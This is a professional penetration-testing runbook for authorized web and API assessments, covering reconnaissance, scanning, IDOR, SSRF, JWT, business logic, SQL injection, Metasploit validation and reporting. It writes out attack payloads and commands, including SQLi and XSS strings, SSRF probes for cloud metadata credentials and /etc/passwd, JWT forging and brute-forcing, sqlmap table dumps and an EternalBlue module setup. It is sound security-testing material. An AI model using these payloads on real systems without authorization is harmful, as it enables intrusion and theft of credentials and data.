

Web Application & API Penetration Testing Runbook

Professional methodology for authorized website and API security assessments

Author	Ghaith Ben Hafsia
Version	2.0 — Extended Methodology
Assessment Type	Website and API Penetration Test
Primary Tools	Browser DevTools · Nmap · Nikto · Nuclei · Gobuster/FFUF · Burp Suite · SQLMap · Metasploit · OWASP ZAP
New in v2.0	Nuclei scanning · SSRF · JWT attacks · Business logic · Deep SQLi · Metasploit validation

■ Only test systems with written authorization and within the approved scope.

1. Engagement Overview

This runbook provides a structured, repeatable methodology for performing an authorized web application and API penetration test. Version 2.0 adds Nuclei template scanning, SSRF discovery, JWT attack techniques, business logic testing, deep SQL injection validation, and structured Metasploit service validation.

Objectives

- Understand website purpose, users, authentication flow, and exposed functionality.
- Identify public attack surface, misconfigurations, and exposed services.
- Discover directories, hidden routes, JavaScript endpoints, and API paths.
- Run Nuclei for template-based CVE and misconfiguration detection.
- Manually test API authorization flaws: IDOR, BOLA, broken function-level authorization.
- Test SSRF, JWT vulnerabilities, and business logic weaknesses.
- Perform deep SQL injection validation with SQLMap and manual payloads.
- Validate service-level findings with Metasploit where appropriate.
- Use OWASP ZAP with Swagger/OpenAPI to scan documented endpoints.
- Validate findings, remove false positives, and deliver clear remediation guidance.

2. Scope and Authorization

Before starting any testing, confirm scope and authorization in writing. Active scanning and manual payload testing can affect application behavior, so testing must stay within the approved boundaries.

Required Scope Details

- Target domain and subdomains.
- API base URL and version, such as /api/v1.
- Swagger/OpenAPI file or URL, if available.
- Approved testing window and environment (staging vs. production).
- Allowed tools and techniques.
- Test user accounts and roles.
- Rate limits or testing restrictions.
- Emergency customer contact.

Out-of-Scope Unless Explicitly Approved

- Third-party systems and cloud services not owned by the customer.
- Denial-of-Service or stress testing.
- High-volume brute force attacks.
- Social engineering or phishing.
- Destructive payloads or data modification not required for validation.
- Production testing without written approval.

3. Security Overview of the Website

The first technical step is to understand the website like a real user and like an attacker. This gives context before running tools and helps identify areas where manual testing is needed.

Application Understanding Checklist

- What is the website used for?
- Does the website require login?
- Are there different user roles (admin, business user, normal user)?
- Does the frontend communicate with a backend API?
- Does the application handle sensitive data?
- Are there forms, file uploads, dashboards, search fields, or admin panels?
- Are there staging, development, or API subdomains?
- Does the application expose Swagger, OpenAPI, API docs, or JavaScript route files?

Manual Browser Review

- Open the website and map the main pages.
- Review login, signup, password reset, dashboard, profile, and admin areas.
- Use browser DevTools to inspect Network requests.
- Check cookies, local storage, bearer tokens, response data, and error messages.
- Record interesting endpoints, parameters, object IDs, and role-based behavior.

4. Reconnaissance Phase

4.1 DNS and Domain Review

Identify public-facing domains, API hosts, staging environments, and infrastructure hints.

```
whois example.com  
  
nslookup example.com  
  
dig example.com  
  
dig api.example.com
```

- Main IP address or CDN provider.
- API, staging, development, or admin subdomains.
- Cloud provider exposure and old environments.

4.2 Nmap Service Discovery

Use Nmap to identify open ports, service versions, TLS configuration, and HTTP behavior.

```
nmap -sV -sC -oN nmap-basic.txt example.com  
  
nmap -p- --min-rate 5000 -oN nmap-full-ports.txt example.com  
  
nmap -sV -sC -p 80,443 -oN nmap-services.txt example.com  
  
nmap --script ssl-enum-ciphers -p 443 -oN nmap-ssl.txt example.com
```

5. Web Server Scanning with Nikto

Nikto identifies common web server issues, default files, insecure headers, and basic misconfigurations. Treat output as a starting point and manually verify important findings.

```
nikto -h https://example.com -o nikto-report.txt  
nikto -h https://api.example.com -o nikto-api-report.txt
```

Common Findings to Review

- Missing X-Frame-Options, X-Content-Type-Options, Content-Security-Policy, Strict-Transport-Security.
- Server version leakage.
- Interesting files or directories.
- Unsafe HTTP methods (PUT, DELETE, TRACE).
- Default or backup files.

6. Directory and Endpoint Enumeration

Gobuster

```
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt -o gobuster-common.txt

gobuster dir -u https://example.com \

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \

-x php,html,js,json,txt,bak,zip -o gobuster-medium.txt
```

FFUF

```
ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -o ffuf-common.json

ffuf -u https://api.example.com/api/v1/FUZZ -w /usr/share/wordlists/dirb/common.txt -o
ffuf-api.json
```

Interesting Paths

```
/admin /api /swagger /docs /openapi.json

/backup /.git /config /uploads /login /dashboard
```

7. JavaScript and API Endpoint Discovery

Modern web applications often expose API base URLs, route names, and hidden endpoints inside JavaScript bundles.

```
wget https://example.com/assets/index.js -O index.js

grep -Eo 'https?:://[^\s"]+' index.js

grep -Eo '/api/[a-zA-Z0-9/_-]+' index.js

grep -iE 'api|token|secret|admin|login|auth|swagger|graphql' index.js
```

What to Look For

- API base URLs and backend domains.
- Hidden frontend routes.
- Admin or internal endpoints.
- Swagger/OpenAPI URLs.
- Hardcoded tokens, keys, or environment values.

8. Nuclei Template Scanning

Nuclei is a fast, template-based vulnerability scanner covering CVEs, misconfigurations, exposed panels, default credentials, and security headers across thousands of community-maintained templates. Run after Nmap and Nikto to catch specific known vulnerabilities that generic scanners miss.

8.1 Installation

```
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates
```

8.2 Basic Web Scan

```
# Run all templates against the target
nuclei -u https://example.com -o nuclei-web.txt

# Run against the API base URL as well
nuclei -u https://api.example.com -o nuclei-api.txt
```

8.3 Targeted Template Categories

```
# CVEs only
nuclei -u https://example.com -tags cve -o nuclei-cves.txt

# Exposed panels (admin, phpmyadmin, Jenkins, etc.)
nuclei -u https://example.com -tags panel -o nuclei-panels.txt

# Misconfigurations and default credentials
nuclei -u https://example.com -tags misconfig,default-login -o nuclei-misconfig.txt

# Security headers
nuclei -u https://example.com -tags headers -o nuclei-headers.txt

# Technology fingerprinting
nuclei -u https://example.com -tags tech -o nuclei-tech.txt
```

8.4 Bulk Scanning

```
nuclei -list subdomains.txt -tags cve,misconfig,panel -o nuclei-bulk.txt
nuclei -u https://example.com -rate-limit 50 -o nuclei-limited.txt
```

8.5 Reviewing Nuclei Output

- Focus on Critical and High severity findings first.
- Manually verify every finding before including it in the report.
- Check for false positives — some templates trigger on generic responses.

■ Cross-reference Nuclei CVE findings with Nmap version output.

■ *Nuclei active templates can send intrusive payloads. Confirm active scanning is within approved scope before running non-passive templates.*

9. Manual Testing with Burp Suite

Burp Suite is used to intercept traffic, understand request and response behavior, and manually test vulnerabilities that automated scanners often miss.

Proxy Setup

- Open Burp Suite and use the built-in browser from Proxy > Intercept > Open Browser.
- Set the browser proxy to 127.0.0.1:8080.
- Install and trust the Burp CA certificate if using a separate browser.
- Log in to the application and capture normal user activity.
- Send interesting API requests to Repeater for manual testing.

Requests to Capture

```
POST /api/v1/auth/login

GET /api/v1/users/profile

GET /api/v1/users/current-business

POST /api/v1/events

PUT /api/v1/users/profile

DELETE /api/v1/resource/123
```

10. Manual API Vulnerability Testing

10.1 Authentication Testing

- Remove the Authorization header and check whether the endpoint still responds successfully.
- Replace a valid token with an invalid or expired token.
- Check whether sensitive endpoints return 401 Unauthorized or 403 Forbidden.
- Verify that unauthenticated users cannot access private data.

10.2 IDOR / BOLA Testing

IDOR and BOLA occur when a user can access another user's object by changing an ID in the request.

```
# Original request

GET /api/v1/users/1001/profile

Authorization: Bearer USER_A_TOKEN

# Modified request – swap ID to another user

GET /api/v1/users/1002/profile

Authorization: Bearer USER_A_TOKEN
```

- Test user IDs, business IDs, event IDs, invoice IDs, file IDs, org IDs, and tenant IDs.
- Secure: 403 Forbidden or 404 Not Found.
- Vulnerable: 200 OK with another user's private data.

10.3 Broken Function-Level Authorization

```
GET /api/v1/admin/users

DELETE /api/v1/users/123

PUT /api/v1/businesses/5/settings
```

10.4 Mass Assignment Testing

```
{ "name": "Ghaith", "email": "user@example.com",
  "role": "admin", "isAdmin": true, "plan": "enterprise" }
```

10.5 SQL Injection — Basic Payloads

```
'
"
' OR '1'='1
1 OR 1=1
```

10.6 XSS Testing

```
<script>alert(1)</script>
```

```
"&gt;&lt;img src=x onerror=alert(1)&gt;
```

10.7 File Upload Testing

- Check allowed file types and file size limits.
- Verify extension validation and MIME type validation.
- Check whether uploaded files are publicly accessible.
- Use safe test files: test.txt, test.jpg, test.pdf.

10.8 Rate Limiting and Brute Force Protection

- Check whether login has account lockout or CAPTCHA.
- Check whether password reset can be abused.
- Look for username or email enumeration.
- Use only low-volume testing unless high-volume testing is approved.

11. Server-Side Request Forgery (SSRF) Testing

SSRF allows an attacker to induce the server to make HTTP requests to arbitrary internal services. It is particularly dangerous in cloud environments where metadata endpoints expose credentials.

11.1 Identify SSRF Entry Points

- URL parameters: ?url=, ?path=, ?redirect=, ?image=, ?fetch=, ?endpoint=
- Webhook configuration fields.
- PDF generators and HTML-to-image services.
- Import-from-URL or remote file fetch functionality.
- Header-based redirects and proxy parameters.

11.2 Basic SSRF Probes

```
# Test for internal network access

GET /api/v1/fetch?url=http://127.0.0.1/

GET /api/v1/fetch?url=http://localhost/admin

GET /api/v1/fetch?url=http://192.168.1.1/

# AWS metadata endpoint (critical finding if accessible)

GET /api/v1/fetch?url=http://169.254.169.254/latest/meta-data/

GET /api/v1/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata endpoint

GET /api/v1/fetch?url=http://metadata.google.internal/computeMetadata/v1/

# Azure metadata endpoint

GET /api/v1/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

11.3 Out-of-Band SSRF Detection

```
# Use Burp Collaborator or interactsh to detect blind SSRF

GET /api/v1/fetch?url=http://your-collaborator-id.burpcollaborator.net

# interactsh (open-source alternative)

interactsh-client # generates a unique callback URL

GET /api/v1/fetch?url=http://abc123.interact.sh
```

11.4 SSRF Bypass Techniques

```
# IP encoding bypasses

http://2130706433/ # decimal of 127.0.0.1

http://0x7f000001/ # hex of 127.0.0.1
```

```
# Protocol switching
```

```
file:///etc/passwd
```

```
dict://127.0.0.1:6379/info # Redis probe
```

```
gopher://127.0.0.1:6379/_*1 # Gopher Redis
```

■ *Only probe internal ranges and cloud metadata endpoints. Do not attempt lateral movement or exploit discovered internal services without explicit written approval.*

12. JWT (JSON Web Token) Testing

JWTs are widely used for API authentication. Misconfigurations lead to authentication bypass vulnerabilities that are often overlooked by automated scanners.

12.1 Decode and Inspect

```
# Decode without verification (base64 decode each part)

echo '<header_b64>' | base64 -d

echo '<payload_b64>' | base64 -d

# Or use jwt.io in the browser – fields to review:

# alg typ exp iat sub role userId scope
```

12.2 Algorithm Confusion — none Attack

```
# Craft a token with alg: none – remove the signature entirely

# Header: { "alg": "none", "typ": "JWT" }

# Payload: { "sub": "1002", "role": "admin", "exp": 9999999999 }

# Structure: base64url(header).base64url(payload).

# Note the trailing dot with empty signature
```

12.3 RS256 to HS256 Confusion

```
# 1. Obtain the server public key

curl https://example.com/.well-known/jwks.json

# 2. Use jwt_tool to perform the algorithm confusion attack

python3 jwt_tool.py <token> -X k -pk public_key.pem
```

12.4 JWT Secret Brute-Force

```
# hashcat – GPU-accelerated

hashcat -a 0 -m 16500 <JWT_token> /usr/share/wordlists/rockyou.txt

# jwt_tool wordlist attack

python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
```

12.5 Claim Tampering — Burp JWT Editor

```
{ "role": "admin" } # privilege escalation

{ "userId": "1002" } # IDOR via JWT

{ "exp": 9999999999 } # extend token lifetime
```



```
{ "scope": "admin:write" } # scope escalation
```

12.6 JWT Validation Checklist

- Server rejects tokens with alg: none.
- Server rejects tokens with modified payload when signature is invalid.
- Tokens expire correctly and cannot be reused after logout.
- Sensitive claims (role, userId) cannot be modified without re-authentication.
- JWKS endpoint is protected and not publicly writable.

13. Business Logic Testing

Business logic vulnerabilities arise when the application's intended workflow can be abused in unintended ways. They are invisible to automated scanners because they require understanding of what the application is supposed to do.

13.1 Workflow Bypass

- Skip required steps in multi-step flows (checkout, verification, approval).
- Complete step 3 without completing step 2 by replaying earlier requests.
- Replay a successful confirmation request with a different order ID.

```
# Example: skip payment step

POST /api/v1/orders/confirm

Body: { "orderId": "ORD-9999", "paymentStatus": "paid" }

# Check if order is fulfilled without payment being verified server-side
```

13.2 Price and Quantity Manipulation

```
# Modify price in the request body

POST /api/v1/cart/checkout

Body: { "items": [{ "id": "PROD-1", "qty": 1, "price": 0.01 }] }

# Negative quantities – can result in credit

Body: { "items": [{ "id": "PROD-1", "qty": -1 }] }

# Integer overflow – very large quantity

Body: { "items": [{ "id": "PROD-1", "qty": 9999999 }] }
```

13.3 Coupon and Discount Abuse

- Apply the same discount code multiple times in one transaction.
- Stack multiple coupon codes if the server does not enforce single-use.
- Apply a coupon after checkout using a separate API call.
- Reuse a coupon from an old or cancelled order.

13.4 Race Conditions

Race conditions occur when concurrent requests interact with shared state unexpectedly. Common in wallet/credit systems, voting, and inventory.

```
# Burp Suite Turbo Intruder – 20 concurrent redemption requests

POST /api/v1/vouchers/redeem

Body: { "code": "GIFT2024" }

# Use Burp Repeater 'Send group (parallel)' for quick manual test
```

- Expected: second and subsequent requests are rejected.

- Vulnerable: multiple requests succeed and credits are applied multiple times.

14. Deep SQL Injection Validation

When a potential SQL injection point is identified, follow this structured validation methodology before reporting. Never run SQLMap against a target without written authorization.

14.1 Manual Confirmation Payloads

```
# Boolean-based blind

' AND 1=1-- # should return normal response

' AND 1=2-- # should return different/empty response


# Time-based blind (MySQL)

' AND SLEEP(5)--

'; WAITFOR DELAY '0:0:5'-- # MSSQL

'; SELECT pg_sleep(5)-- # PostgreSQL


# Error-based (MySQL)

' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--


# UNION-based – find column count first

' ORDER BY 1--

' ORDER BY 5-- # increment until error

' UNION SELECT NULL,NULL,NULL--
```

14.2 SQLMap Targeted Exploitation

```
# Basic scan on a parameter

sqlmap -u 'https://example.com/api/v1/users?id=1' --batch


# With authenticated session

sqlmap -u 'https://example.com/api/v1/users?id=1' \
--headers='Authorization: Bearer <TOKEN>' --batch


# POST request body

sqlmap -u 'https://example.com/api/v1/search' --data='query=test' --method=POST --batch


# Enumerate databases after confirming injection

sqlmap -u '<url>' --dbs --batch

sqlmap -u '<url>' -D target_db --tables --batch


# Dump first 10 rows only – minimal safe impact

sqlmap -u '<url>' -D target_db -T users --dump --start=1 --stop=10 --batch
```

14.3 SQLi Validation Checklist

- Confirm with at least two techniques (boolean AND time-based).
- Document the exact parameter, payload, and differentiated responses.
- Limit SQLMap to read-only operations — no --os-shell.
- Include the injected query and server response as evidence.
- Report database type, version, and any data retrieved as proof of concept.
- *Do not use --os-shell, --file-write, or --os-pwn unless explicitly authorized for post-exploitation.*

15. OWASP ZAP Testing with Swagger/OpenAPI

15.1 Import Swagger/OpenAPI

- 1. Open OWASP ZAP Desktop.
- 2. Go to Import > Import an OpenAPI Definition.
- 3. Choose Import from File or Import from URL.
- 4. Select the swagger.yaml, openapi.yaml, or openapi.json file.
- 5. Confirm that endpoints appear in the Sites tab.

15.2 Put the Target in Scope

- 1. In the Sites tab, right-click the target domain.
- 2. Select Include in Context > New Context.
- 3. Name the context Customer API Assessment.

15.3 Add Authentication

- Capture an authenticated request in ZAP.
- Confirm the Authorization header or bearer token appears in requests.
- Use test accounts provided by the customer.
- Remember that unauthenticated scans may miss important vulnerabilities.

15.4 Passive and Active Scanning

- Passive scan runs automatically when ZAP observes traffic.
- Review passive alerts for missing headers, cookie issues, CORS warnings.
- Run active scan only on approved targets within the testing window.
- Monitor the application during scanning and stop if stability issues arise.

15.5 Generate ZAP Report

- 1. Go to Report > Generate Report.
- 2. Choose Traditional HTML Report or Modern HTML Report.
- 3. Include alerts, risk level, request/response evidence, solution, and references.
- 4. Save as customer-api-zap-report.html.
- 5. Manually validate important findings before including in final deliverable.

16. Metasploit Service Validation

Metasploit is used to validate high-severity service-level findings identified by Nmap and Nuclei. Only run auxiliary modules against services within approved scope after confirming the finding is real.

16.1 When to Use Metasploit

- Nmap identifies a service with a known CVE and Nuclei confirms the fingerprint.
- A specific auxiliary module can safely prove exploitability without causing damage.
- Written authorization includes validation of network-level vulnerabilities.
- Do not run Metasploit against production systems without explicit approval.

16.2 Basic Setup

```
msfconsole

# Search for a module by CVE or service name

msf6 > search type:auxiliary name:smb

msf6 > search cve:2021-44228

# Use a module

msf6 > use auxiliary/scanner/http/log4shell_scanner

msf6 auxiliary(log4shell_scanner) > set RHOSTS example.com

msf6 auxiliary(log4shell_scanner) > set RPORT 443

msf6 auxiliary(log4shell_scanner) > run
```

16.3 Common Auxiliary Validation Modules

```
# SMB vulnerability check

use auxiliary/scanner/smb/smb_ms17_010

# HTTP header and TLS inspection

use auxiliary/scanner/http/http_header

use auxiliary/scanner/http/ssl_version

# FTP anonymous access

use auxiliary/scanner/ftp/anonymous

# SNMP community string enumeration

use auxiliary/scanner/snmp/snmp_enum

# Redis unauthenticated access

use auxiliary/scanner/redis/redis_server
```

16.4 Safe Exploitation Proof of Concept

```
# EternalBlue (MS17-010) – only with explicit written authorization

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS <target_ip>

check # verify vulnerable WITHOUT exploiting

# Do NOT run 'exploit' or 'run' unless post-exploitation is in scope
```

16.5 Metasploit Validation Checklist

- Only run auxiliary modules unless post-exploitation is explicitly approved.
 - Use 'check' mode before 'run' on exploit modules.
 - Record module name, RHOSTS, RPORT, and full output as evidence.
 - Do not use payloads that establish persistent access without authorization.
 - Clean up any sessions opened during testing.
- *Metasploit exploit modules can cause service crashes or data modification. Run only safe auxiliary/scanner modules unless post-exploitation is formally in scope.*

17. Vulnerability Validation

Do not report tool findings blindly. Every important finding should be validated manually when possible.

Validation Questions

- Is the finding real and reproducible?
- What endpoint and parameter are affected?
- What user role is required?
- Can sensitive data be accessed?
- What is the business impact?
- Is there a safe proof of concept?
- What is the recommended fix?

Severity Rating Guide

Severity	Description
Critical	Full system compromise, authentication bypass, or major data breach.
High	Sensitive data exposure, SQL injection, privilege escalation, strong unauthorized access.
Medium	Limited unauthorized access, weak authorization, or important security control weakness.
Low	Minor misconfiguration or low-impact issue.
Info	Security improvement or best-practice recommendation.

18. Evidence Collection

Strong evidence makes the report useful for the customer and easier for developers to reproduce.

- Finding title.
- Affected URL or endpoint.
- Risk rating.
- Tool or method used.
- Request and response evidence.
- Screenshot, if useful.
- Steps to reproduce.
- Technical impact and business impact.
- Clear remediation recommendation.

Finding Template

Finding: Missing Strict-Transport-Security Header

Affected URL: https://example.com

Risk: Medium

Tool: Nikto / Nuclei headers template

Evidence: Response did not include the Strict-Transport-Security header.

Impact: Users may be exposed to downgrade or MITM attacks over HTTP.

Recommendation: Add Strict-Transport-Security at the web server or CDN layer.

Example: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

19. Final Report Structure

Executive Summary

Write the executive summary for non-technical readers. Explain the overall risk, the most important findings, and the main remediation priorities.

Technical Report Sections

- Scope and testing limitations.
- Methodology.
- Tools used.
- Confirmed vulnerabilities with risk ratings.
- Affected endpoints and technical evidence.
- Remediation recommendations.
- ZAP report appendix.
- Raw tool output appendix (Nuclei, Nmap, SQLMap) where appropriate.

20. Remediation Guidance Categories

- Apply missing security headers at the CDN, load balancer, or web server level.
- Enforce server-side authorization checks for every sensitive API request.
- Validate object ownership for every user-controlled object ID.
- Use role-based access control for admin and privileged functions.
- Disable unnecessary HTTP methods.
- Hide server version information.
- Improve input validation and output encoding.
- Use parameterized queries to prevent SQL injection.
- Add rate limiting to login, signup, and password reset endpoints.
- Secure cookies with HttpOnly, Secure, and SameSite flags.
- Restrict CORS to trusted origins only.
- Remove secrets or sensitive data from JavaScript files.
- Disable public access to Swagger/OpenAPI documentation in production.
- Implement SSRF protections: allowlist outbound domains, block metadata IP ranges.
- Use strong JWT signing algorithms (RS256, ES256) and validate algorithm in the library.
- Set short JWT expiry times and implement token revocation on logout.
- Enforce server-side business logic validation for all financial and state transitions.
- Implement idempotency keys and distributed locking to prevent race conditions.
- Keep all frameworks, libraries, and server software patched against known CVEs.

21. Final Deliverables

- Executive summary.
- Scope and authorization statement.
- Methodology.
- Tools used.
- Confirmed vulnerabilities with severity ratings.
- Technical evidence and screenshots.
- Request and response examples.
- Remediation recommendations.
- ZAP HTML report.
- Nuclei output (relevant findings).
- Appendix with relevant raw tool outputs (Nmap, SQLMap, Metasploit).

22. Recommended Tool Order

Follow this sequence for a structured, repeatable assessment. Each step builds on the previous.

#	Tool	Purpose
1	Browser & DevTools	Application mapping, cookie/token inspection, JS review
2	Nmap	Port discovery, service versions, TLS enumeration
3	Nikto	Web server misconfigs, missing headers, default files
4	Gobuster / FFUF	Directory & endpoint brute-force
5	JS endpoint review	Hidden API routes, hardcoded secrets
6	Nuclei	Template-based CVE & misconfiguration scanning
7	Burp Suite	Manual request interception, IDOR, JWT, SSRF, business logic
8	SQLMap (targeted)	Validated SQL injection exploitation
9	Metasploit	Validation of high-severity service-level findings
10	OWASP ZAP + Swagger	Automated API scan against documented endpoints
11	Manual validation	Reproduce, confirm, collect evidence
12	Final report	Executive summary, findings, remediation

Professional Methodology Summary

The penetration test begins with a security overview of the target to understand its functionality, authentication flow, exposed API routes, and potential attack surface. Reconnaissance is performed using Nmap and Nikto to identify open services, web server behavior, TLS configuration, and common misconfigurations. Nuclei template scanning is then run to detect known CVEs, exposed admin panels, and misconfigurations at scale.

Directory and endpoint enumeration with Gobuster and FFUF discovers hidden paths and API routes. JavaScript files are reviewed for hardcoded secrets and internal endpoints. Manual testing with Burp Suite focuses on API authorization issues (IDOR, BOLA, broken function-level authorization), SSRF, JWT vulnerabilities, and business logic flaws. SQL injection findings are validated using structured manual payloads and targeted SQLMap runs. Service-level findings are validated with Metasploit auxiliary modules where scope permits.

Once the customer provides the Swagger/OpenAPI file, OWASP ZAP imports the API definition, scans documented endpoints, and generates an automated report. All significant findings are manually reviewed to reduce false positives, and clear remediation recommendations are provided for the development team.